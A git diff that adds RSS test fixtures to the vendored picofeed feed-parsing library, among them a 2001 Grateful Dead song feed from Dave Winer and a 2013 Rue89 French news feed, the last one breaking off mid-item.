+ <guid>http://liftoff.msfc.nasa.gov/2003/05/30.html#item572</guid>
+ </item>
+ <item>
+ <title>The Engine That Does More</title>
+ <link>http://liftoff.msfc.nasa.gov/news/2003/news-VASIMR.asp</link>
+ <description>Before man travels to Mars, NASA hopes to design new engines that will let us fly through the Solar System more quickly. The proposed VASIMR engine would do that.</description>
+ <pubDate>Tue, 27 May 2003 08:37:32 GMT</pubDate>
+ <guid>http://liftoff.msfc.nasa.gov/2003/05/27.html#item571</guid>
+ </item>
+ <item>
+ <title>Astronauts' Dirty Laundry</title>
+ <link>http://liftoff.msfc.nasa.gov/news/2003/news-laundry.asp</link>
+ <description>Compared to earlier spacecraft, the International Space Station has many luxuries, but laundry facilities are not one of them. Instead, astronauts have other options.</description>
+ <pubDate>Tue, 20 May 2003 08:56:02 GMT</pubDate>
+ <guid>http://liftoff.msfc.nasa.gov/2003/05/20.html#item570</guid>
+ </item>
+ </channel>
+</rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/rss_0.91.xml b/vendor/fguillot/picofeed/tests/fixtures/rss_0.91.xml
new file mode 100644
index 000000000..2c28c7823
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/rss_0.91.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<rss version="0.91">
+ <channel>
+ <title>WriteTheWeb</title>
+ <link>http://writetheweb.com</link>
+ <description>News for web users that write back</description>
+ <language>en-us</language>
+ <copyright>Copyright 2000, WriteTheWeb team.</copyright>
+ <managingEditor>editor@writetheweb.com</managingEditor>
+ <webMaster>webmaster@writetheweb.com</webMaster>
+ <image>
+ <title>WriteTheWeb</title>
+ <url>http://writetheweb.com/images/mynetscape88.gif</url>
+ <link>http://writetheweb.com</link>
+ <width>88</width>
+ <height>31</height>
+ <description>News for web users that write back</description>
+ </image>
+ <item>
+ <title>Giving the world a pluggable Gnutella</title>
+ <link>http://writetheweb.com/read.php?item=24</link>
+ <description>WorldOS is a framework on which to build programs that work like Freenet or Gnutella -allowing distributed applications using peer-to-peer routing.</description>
+ </item>
+ <item>
+ <title>Syndication discussions hot up</title>
+ <link>http://writetheweb.com/read.php?item=23</link>
+ <description>After a period of dormancy, the Syndication mailing list has become active again, with contributions from leaders in traditional media and Web syndication.</description>
+ </item>
+ <item>
+ <title>Personal web server integrates file sharing and messaging</title>
+ <link>http://writetheweb.com/read.php?item=22</link>
+ <description>The Magi Project is an innovative project to create a combined personal web server and messaging system that enables the sharing and synchronization of information across desktop, laptop and palmtop devices.</description>
+ </item>
+ <item>
+ <title>Syndication and Metadata</title>
+ <link>http://writetheweb.com/read.php?item=21</link>
+ <description>RSS is probably the best known metadata format around. RDF is probably one of the least understood. In this essay, published on my O'Reilly Network weblog, I argue that the next generation of RSS should be based on RDF.</description>
+ </item>
+ <item>
+ <title>UK bloggers get organised</title>
+ <link>http://writetheweb.com/read.php?item=20</link>
+ <description>Looks like the weblogs scene is gathering pace beyond the shores of the US. There's now a UK-specific page on weblogs.com, and a mailing list at egroups.</description>
+ </item>
+ <item>
+ <title>Yournamehere.com more important than anything</title>
+ <link>http://writetheweb.com/read.php?item=19</link>
+ <description>Whatever you're publishing on the web, your site name is the most valuable asset you have, according to Carl Steadman.</description>
+ </item>
+ </channel>
+ </rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/rss_0.92.xml b/vendor/fguillot/picofeed/tests/fixtures/rss_0.92.xml
new file mode 100644
index 000000000..2e86d5e6b
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/rss_0.92.xml
@@ -0,0 +1,103 @@
+<?xml version="1.0"?>
+<!-- RSS generation done by 'Radio UserLand' on Fri, 13 Apr 2001 19:23:02 GMT -->
+<rss version="0.92">
+ <channel>
+ <title>Dave Winer: Grateful Dead</title>
+ <link>http://www.scripting.com/blog/categories/gratefulDead.html</link>
+ <description>A high-fidelity Grateful Dead song every day. This is where we&apos;re experimenting with enclosures on RSS news items that download when you&apos;re not using your computer. If it works (it will) it will be the end of the Click-And-Wait multimedia experience on the Internet. </description>
+ <lastBuildDate>Fri, 13 Apr 2001 19:23:02 GMT</lastBuildDate>
+ <docs>http://backend.userland.com/rss092</docs>
+ <managingEditor>dave@userland.com (Dave Winer)</managingEditor>
+ <webMaster>dave@userland.com (Dave Winer)</webMaster>
+ <cloud domain="data.ourfavoritesongs.com" port="80" path="/RPC2" registerProcedure="ourFavoriteSongs.rssPleaseNotify" protocol="xml-rpc"/>
+ <item>
+ <description>It&apos;s been a few days since I added a song to the Grateful Dead channel. Now that there are all these new Radio users, many of whom are tuned into this channel (it&apos;s #16 on the hotlist of upstreaming Radio users, there&apos;s no way of knowing how many non-upstreaming users are subscribing, have to do something about this..). Anyway, tonight&apos;s song is a live version of Weather Report Suite from Dick&apos;s Picks Volume 7. It&apos;s wistful music. Of course a beautiful song, oft-quoted here on Scripting News. &lt;i&gt;A little change, the wind and rain.&lt;/i&gt;
+</description>
+ <enclosure url="http://www.scripting.com/mp3s/weatherReportDicksPicsVol7.mp3" length="6182912" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>Kevin Drennan started a &lt;a href=&quot;http://deadend.editthispage.com/&quot;&gt;Grateful Dead Weblog&lt;/a&gt;. Hey it&apos;s cool, he even has a &lt;a href=&quot;http://deadend.editthispage.com/directory/61&quot;&gt;directory&lt;/a&gt;. &lt;i&gt;A Frontier 7 feature.&lt;/i&gt;</description>
+ <source url="http://scriptingnews.userland.com/xml/scriptingNews2.xml">Scripting News</source>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://arts.ucsc.edu/GDead/AGDL/other1.html&quot;&gt;The Other One&lt;/a&gt;, live instrumental, One From The Vault. Very rhythmic very spacy, you can listen to it many times, and enjoy something new every time.</description>
+ <enclosure url="http://www.scripting.com/mp3s/theOtherOne.mp3" length="6666097" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>This is a test of a change I just made. Still diggin..</description>
+ </item>
+ <item>
+ <description>The HTML rendering almost &lt;a href=&quot;http://validator.w3.org/check/referer&quot;&gt;validates&lt;/a&gt;. Close. Hey I wonder if anyone has ever published a style guide for ALT attributes on images? What are you supposed to say in the ALT attribute? I sure don&apos;t know. If you&apos;re blind send me an email if u cn rd ths. </description>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://www.cs.cmu.edu/~mleone/gdead/dead-lyrics/Franklin&apos;s_Tower.txt&quot;&gt;Franklin&apos;s Tower&lt;/a&gt;, a live version from One From The Vault.</description>
+ <enclosure url="http://www.scripting.com/mp3s/franklinsTower.mp3" length="6701402" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>Moshe Weitzman says Shakedown Street is what I&apos;m lookin for for tonight. I&apos;m listening right now. It&apos;s one of my favorites. &quot;Don&apos;t tell me this town ain&apos;t got no heart.&quot; Too bright. I like the jazziness of Weather Report Suite. Dreamy and soft. How about The Other One? &quot;Spanish lady come to me..&quot;</description>
+ <source url="http://scriptingnews.userland.com/xml/scriptingNews2.xml">Scripting News</source>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://www.scripting.com/mp3s/youWinAgain.mp3&quot;&gt;The news is out&lt;/a&gt;, all over town..&lt;p&gt;
+You&apos;ve been seen, out runnin round. &lt;p&gt;
+The lyrics are &lt;a href=&quot;http://www.cs.cmu.edu/~mleone/gdead/dead-lyrics/You_Win_Again.txt&quot;&gt;here&lt;/a&gt;, short and sweet. &lt;p&gt;
+&lt;i&gt;You win again!&lt;/i&gt;
+</description>
+ <enclosure url="http://www.scripting.com/mp3s/youWinAgain.mp3" length="3874816" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://www.getlyrics.com/lyrics/grateful-dead/wake-of-the-flood/07.htm&quot;&gt;Weather Report Suite&lt;/a&gt;: &quot;Winter rain, now tell me why, summers fade, and roses die? The answer came. The wind and rain. Golden hills, now veiled in grey, summer leaves have blown away. Now what remains? The wind and rain.&quot;</description>
+ <enclosure url="http://www.scripting.com/mp3s/weatherReportSuite.mp3" length="12216320" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://arts.ucsc.edu/gdead/agdl/darkstar.html&quot;&gt;Dark Star&lt;/a&gt; crashes, pouring its light into ashes.</description>
+ <enclosure url="http://www.scripting.com/mp3s/darkStar.mp3" length="10889216" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>DaveNet: &lt;a href=&quot;http://davenet.userland.com/2001/01/21/theUsBlues&quot;&gt;The U.S. Blues&lt;/a&gt;.</description>
+ </item>
+ <item>
+ <description>Still listening to the US Blues. &lt;i&gt;&quot;Wave that flag, wave it wide and high..&quot;&lt;/i&gt; Mistake made in the 60s. We gave our country to the assholes. Ah ah. Let&apos;s take it back. Hey I&apos;m still a hippie. &lt;i&gt;&quot;You could call this song The United States Blues.&quot;&lt;/i&gt;</description>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://www.sixties.com/html/garcia_stack_0.html&quot;&gt;&lt;img src=&quot;http://www.scripting.com/images/captainTripsSmall.gif&quot; height=&quot;51&quot; width=&quot;42&quot; border=&quot;0&quot; hspace=&quot;10&quot; vspace=&quot;10&quot; align=&quot;right&quot;&gt;&lt;/a&gt;In celebration of today&apos;s inauguration, after hearing all those great patriotic songs, America the Beautiful, even The Star Spangled Banner made my eyes mist up. It made my choice of Grateful Dead song of the night realllly easy. Here are the &lt;a href=&quot;http://searchlyrics2.homestead.com/gd_usblues.html&quot;&gt;lyrics&lt;/a&gt;. Click on the audio icon to the left to give it a listen. &quot;Red and white, blue suede shoes, I&apos;m Uncle Sam, how do you do?&quot; It&apos;s a different kind of patriotic music, but man I love my country and I love Jerry and the band. &lt;i&gt;I truly do!&lt;/i&gt;</description>
+ <enclosure url="http://www.scripting.com/mp3s/usBlues.mp3" length="5272510" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>Grateful Dead: &quot;Tennessee, Tennessee, ain&apos;t no place I&apos;d rather be.&quot;</description>
+ <enclosure url="http://www.scripting.com/mp3s/tennesseeJed.mp3" length="3442648" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>Ed Cone: &quot;Had a nice Deadhead experience with my wife, who never was one but gets the vibe and knows and likes a lot of the music. Somehow she made it to the age of 40 without ever hearing Wharf Rat. We drove to Jersey and back over Christmas with the live album commonly known as Skull and Roses in the CD player much of the way, and it was cool to see her discover one the band&apos;s finest moments. That song is unique and underappreciated. Fun to hear that disc again after a few years off -- you get Jerry as blues-guitar hero on Big Railroad Blues and a nice version of Bertha.&quot;</description>
+ <enclosure url="http://www.scripting.com/mp3s/darkStarWharfRat.mp3" length="27503386" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://arts.ucsc.edu/GDead/AGDL/fotd.html&quot;&gt;Tonight&apos;s Song&lt;/a&gt;: &quot;If I get home before daylight I just might get some sleep tonight.&quot; </description>
+ <enclosure url="http://www.scripting.com/mp3s/friendOfTheDevil.mp3" length="3219742" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://arts.ucsc.edu/GDead/AGDL/uncle.html&quot;&gt;Tonight&apos;s song&lt;/a&gt;: &quot;Come hear Uncle John&apos;s Band by the river side. Got some things to talk about here beside the rising tide.&quot;</description>
+ <enclosure url="http://www.scripting.com/mp3s/uncleJohnsBand.mp3" length="4587102" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://www.cs.cmu.edu/~mleone/gdead/dead-lyrics/Me_and_My_Uncle.txt&quot;&gt;Me and My Uncle&lt;/a&gt;: &quot;I loved my uncle, God rest his soul, taught me good, Lord, taught me all I know. Taught me so well, I grabbed that gold and I left his dead ass there by the side of the road.&quot;
+</description>
+ <enclosure url="http://www.scripting.com/mp3s/meAndMyUncle.mp3" length="2949248" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>Truckin, like the doo-dah man, once told me gotta play your hand. Sometimes the cards ain&apos;t worth a dime, if you don&apos;t lay em down.</description>
+ <enclosure url="http://www.scripting.com/mp3s/truckin.mp3" length="4847908" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>Two-Way-Web: &lt;a href=&quot;http://www.thetwowayweb.com/payloadsForRss&quot;&gt;Payloads for RSS&lt;/a&gt;. &quot;When I started talking with Adam late last year, he wanted me to think about high quality video on the Internet, and I totally didn&apos;t want to hear about it.&quot;</description>
+ </item>
+ <item>
+ <description>A touch of gray, kinda suits you anyway..</description>
+ <enclosure url="http://www.scripting.com/mp3s/touchOfGrey.mp3" length="5588242" type="audio/mpeg"/>
+ </item>
+ <item>
+ <description>&lt;a href=&quot;http://www.sixties.com/html/garcia_stack_0.html&quot;&gt;&lt;img src=&quot;http://www.scripting.com/images/captainTripsSmall.gif&quot; height=&quot;51&quot; width=&quot;42&quot; border=&quot;0&quot; hspace=&quot;10&quot; vspace=&quot;10&quot; align=&quot;right&quot;&gt;&lt;/a&gt;In celebration of today&apos;s inauguration, after hearing all those great patriotic songs, America the Beautiful, even The Star Spangled Banner made my eyes mist up. It made my choice of Grateful Dead song of the night realllly easy. Here are the &lt;a href=&quot;http://searchlyrics2.homestead.com/gd_usblues.html&quot;&gt;lyrics&lt;/a&gt;. Click on the audio icon to the left to give it a listen. &quot;Red and white, blue suede shoes, I&apos;m Uncle Sam, how do you do?&quot; It&apos;s a different kind of patriotic music, but man I love my country and I love Jerry and the band. &lt;i&gt;I truly do!&lt;/i&gt;</description>
+ <enclosure url="http://www.scripting.com/mp3s/usBlues.mp3" length="5272510" type="audio/mpeg"/>
+ </item>
+ </channel>
+ </rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/rue89.xml b/vendor/fguillot/picofeed/tests/fixtures/rue89.xml
new file mode 100644
index 000000000..e9e5ea706
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/rue89.xml
@@ -0,0 +1,2 @@
+<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet type='text/xsl' href='http://rue89.feedsportal.com/xsl/fr/rss.xsl'?>
+<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><atom:link href="http://www.rue89.com/feed" rel="self" type="application/rss+xml" /><title>Rue89 : A la Une</title><link>http://www.rue89.com</link><description>Rue89 : Site d'information et de débat sur l'actualité, indépendant et participatif</description><language>fr</language><pubDate>Sat, 06 Apr 2013 17:10:39 GMT</pubDate><lastBuildDate>Sat, 06 Apr 2013 17:10:39 GMT</lastBuildDate><ttl>2</ttl><image><title>Rue89 : A la Une</title><url>http://www.rue89.com/sites/all/themes/rue89base/css/img/header/rue89-rss.png</url><link>http://www.rue89.com</link><description>Rue89 : Site d'information et de débat sur l'actualité, indépendant et participatif</description></image><item><title>Quand Jérôme Cahuzac trouvait que « sa présence finissait par rejaillir sur... »</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a687021/l/0L0Srue890N0Czapnet0C20A130C0A40C0A60Cquand0Ejerome0Ecahuzac0Etrouvait0Epresence0Efinissait0Erejaillir0E241244/story01.htm</link><description>&lt;p&gt;&lt;a href="http://guybirenbaum.com/20130406/une-bonne-archive/" target="_blank"&gt;Guy Birenbaum est tombé&lt;/a&gt; sur une archive, et parfois, ça fait mal...Il raconte sa chute : &lt;/p&gt; &lt;blockquote&gt;&lt;p&gt; « Je suis un fouineur…&lt;/p&gt; &lt;p&gt;[…]&lt;/p&gt; &lt;p&gt;Alors forcément, je fouine…&lt;/p&gt; &lt;p&gt;Vous savez que le site de l’Ina est ma folie.&lt;/p&gt; &lt;p&gt;Donc je rentre des noms, des dates.&lt;/p&gt; &lt;p&gt;Pour voir.&lt;/p&gt; &lt;p&gt;Je remonte.&lt;/p&gt; &lt;p&gt;Je descends.&lt;/p&gt; &lt;p&gt;Ils devraient me donner un abonnement professionnel, vu la pub que je fais pour eux ! &lt;/p&gt; &lt;p&gt;Alors, là, donc je fouillais…&lt;/p&gt; &lt;p&gt;Et soudain, vers 1 minute 40, dans une vidéo, je tombe sur un député socialiste qui a un avis, et qui le donne, sur la démission de Roland Dumas du Conseil Constitutionnel (avant sa comparution devant le...&lt;/p&gt; &lt;/blockquote&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a687021/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4c37e3/l/0L0Srue890N0C20A130C0A40C0A30Ccumul0Emandats0Ereforme0Ereportee0Ea0E20A170Elimiter0Ecasse0E241114/story01.htm'&gt;Cumul des mandats : la réforme reportée à 2017 pour limiter la casse&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e88e6/l/0L0Srue890N0C20A130C0A40C0A50Cjerome0Ecahuzac0Eveut0Erevenir0Ea0Elassemblee0Enationale0E241216/story01.htm'&gt;Jérôme Cahuzac veut (et peut) revenir à l’Assemblée nationale&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Quand+J%C3%A9r%C3%B4me+Cahuzac+trouvait+que+%C2%AB%C2%A0sa+pr%C3%A9sence+finissait+par+rejaillir+sur...%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Fzapnet%2F2013%2F04%2F06%2Fquand-jerome-cahuzac-trouvait-presence-finissait-rejaillir-241244" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Quand+J%C3%A9r%C3%B4me+Cahuzac+trouvait+que+%C2%AB%C2%A0sa+pr%C3%A9sence+finissait+par+rejaillir+sur...%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Fzapnet%2F2013%2F04%2F06%2Fquand-jerome-cahuzac-trouvait-presence-finissait-rejaillir-241244" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676227447/u/0/f/608948/c/33822/s/2a687021/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676227447/u/0/f/608948/c/33822/s/2a687021/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676227447/u/0/f/608948/c/33822/s/2a687021/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a687021/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Czapnet0Cthumbnail0Isquare0C20A130C0A40Ccahuzac0I10Bpng/cahuzac_1.png" length="578170" type="image/png" /><category domain="http://www.rue89.com/assemblee-nationale">assemblée nationale</category><category domain="http://www.rue89.com/ina">INA</category><category domain="http://www.rue89.com/dumas">Dumas</category><pubDate>Sat, 06 Apr 2013 15:50:31 GMT</pubDate><comments>http://www.rue89.com/zapnet/2013/04/06/quand-jerome-cahuzac-trouvait-presence-finissait-rejaillir-241244#commentaires</comments><guid isPermaLink="false">241244 at http://www.rue89.com</guid><dc:creator>Blandine Grosjean</dc:creator></item><item><title>La DCRI censure une page de Wikipédia : succès assuré</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a67d305/l/0Lblogs0Brue890N0Cles0Ecoulisses0Ede0Ewikipedia0C20A130C0A40C0A60Cla0Epage0Ecensuree0Epar0Ela0Edcri0Ela0Eplus0Elue0Ede0Ewikipedia0E230A0A65/story01.htm</link><description>L’Encyclopédie de Diderot et D’Alembert avait en son temps souffert de menaces de censure et de plusieurs interdictions de paraître effectives. Ce genre de procédé n’a pas complètement disparu : un contributeur bénévole de la Wikipédia francophone a été contraint de supprimer un article...&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a67d305/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/l/0L0Srue890N0C20A130C0A40C0A50Cpolitiques0Eflics0Evoyous0Emarseille0Epassee0Ecrible0Etrois0Ebouquins0E2410A84/story01.htm'&gt;Politiques, flics, voyous : Marseille passée au crible de trois bouquins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff7/l/0L0Srue890N0C20A130C0A40C0A50Citineraire0Edun0Ecomissaire0Eripou0Esais0Edire0Enon0E241192/story01.htm'&gt;Itinéraire d’un commissaire ripou : « Je ne sais pas dire non »&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=La+DCRI+censure+une+page+de+Wikip%C3%A9dia%C2%A0%3A+succ%C3%A8s+assur%C3%A9&amp;link=http%3A%2F%2Fblogs.rue89.com%2Fles-coulisses-de-wikipedia%2F2013%2F04%2F06%2Fla-page-censuree-par-la-dcri-la-plus-lue-de-wikipedia-230065" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=La+DCRI+censure+une+page+de+Wikip%C3%A9dia%C2%A0%3A+succ%C3%A8s+assur%C3%A9&amp;link=http%3A%2F%2Fblogs.rue89.com%2Fles-coulisses-de-wikipedia%2F2013%2F04%2F06%2Fla-page-censuree-par-la-dcri-la-plus-lue-de-wikipedia-230065" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676830256/u/0/f/608948/c/33822/s/2a67d305/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676830256/u/0/f/608948/c/33822/s/2a67d305/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676830256/u/0/f/608948/c/33822/s/2a67d305/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a67d305/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Creprise0Iexternes0Cthumbnail0Isquare0C20A130C0A40Cbandeau0Bwikipedia0I10Bpng/bandeau.wikipedia_1.png" length="45118" type="image/png" /><category domain="http://www.rue89.com/police">Police</category><category domain="http://www.rue89.com/wikipedia">wikipédia</category><category domain="http://www.rue89.com/dcri">DCRI</category><pubDate>Sat, 06 Apr 2013 13:57:56 GMT</pubDate><comments>http://blogs.rue89.com/les-coulisses-de-wikipedia/2013/04/06/la-page-censuree-par-la-dcri-la-plus-lue-de-wikipedia-230065#commentaires</comments><guid isPermaLink="false">241241 at http://www.rue89.com</guid><dc:creator>Pierre-Carl Langlais</dc:creator></item><item><title>Alcool, coke et régime : les addictions reines du hippisme</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a6733ac/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A60Calcool0Ecoke0Eregime0Eles0Eaddictions0Ereines0Egalop0E240A90A2/story01.htm</link><description>Jockeys et garçons d'écurie mènent pour la plupart une vie éreintante, entre régimes extrêmes et boulot ingrat. L'alcool et la cocaïne sont des dérivatifs tentants.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6733ac/mf.gif' border='0'/&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Alcool%2C+coke+et+r%C3%A9gime%C2%A0%3A+les+addictions+reines+du+hippisme&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F06%2Falcool-coke-regime-les-addictions-reines-galop-240902" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Alcool%2C+coke+et+r%C3%A9gime%C2%A0%3A+les+addictions+reines+du+hippisme&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F06%2Falcool-coke-regime-les-addictions-reines-galop-240902" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676830021/u/0/f/608948/c/33822/s/2a6733ac/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676830021/u/0/f/608948/c/33822/s/2a6733ac/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676830021/u/0/f/608948/c/33822/s/2a6733ac/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a6733ac/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cac0Ivincennes0Icourses0I120A0A0I110I0A0Bjpg/ac_vincennes_courses_1200_11_0.jpg" length="119894" type="image/jpeg" /><category domain="http://www.rue89.com/drogues">Drogues</category><category domain="http://www.rue89.com/rue89-sport/dopage">Dopage</category><category domain="http://www.rue89.com/hippisme">Hippisme</category><pubDate>Sat, 06 Apr 2013 13:22:42 GMT</pubDate><comments>http://www.rue89.com/rue89-sport/2013/04/06/alcool-coke-regime-les-addictions-reines-galop-240902#commentaires</comments><guid isPermaLink="false">240902 at http://www.rue89.com</guid><dc:creator>Clément Guillou</dc:creator></item><item><title>Le maire communiste de Vierzon achète une église. Pour faire quoi ?</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a6646d2/l/0L0Srue890N0C20A130C0A40C0A60Cmaire0Ecommuniste0Evierzon0Eachete0Eeglise0Eva0Et0Efaire0E24120A9/story01.htm</link><description>&lt;p&gt;Une mairie PCF s’apprête à acheter une église, pour l’arracher aux griffes d’une confrérie catholique douteuse, qu’elle-même cherchait à la soustraire aux convoitises d’une communauté musulmane désireuse d’y installer une mosquée...&lt;/p&gt; &lt;p&gt;Tarabiscotée, l’histoire se passe à Vierzon (Cher). La paroisse, comme dans de nombreuses autres villes, connaît des difficultés financières : un déficit de &lt;a href="http://www.leberry.fr/cher/actualite/pays/pays-de-vierzon/2013/04/04/la-derniere-campagne-dappels-aux-dons-de-la-confrerie-pousse-la-mairie-a-prendre-une-decision-1502678.html" target="_blank"&gt;20 000 euros par an&lt;/a&gt;, selon le curé, Alain Krauth. C’est le diocèse qui comble le trou.&lt;/p&gt; &lt;p&gt;Le père Krauth a proposé, pour résoudre le problème, de vendre une des cinq églises de la paroisse....&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6646d2/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a538bbe/l/0L0Srue890N0C20A130C0A40C0A40Ca0Eparis0Eles0Efemen0Elancent0Eloffensive0Econtre0Eles0Esalafistes0E241156/story01.htm'&gt;A Paris, les Femen lancent l’offensive contre les salafistes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a56f461/l/0Lblogs0Brue890N0Creligion0C20A130C0A40C0A40Cun0Elycee0Emusulman0Emodele0Eca0Eressemble0Equoi0E230A0A40A/story01.htm'&gt;Un « lycée musulman modèle », ça ressemble à quoi ?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Le+maire+communiste+de+Vierzon+ach%C3%A8te+une+%C3%A9glise.+Pour+faire+quoi%C2%A0%3F&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F06%2Fmaire-communiste-vierzon-achete-eglise-va-t-faire-241209" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a 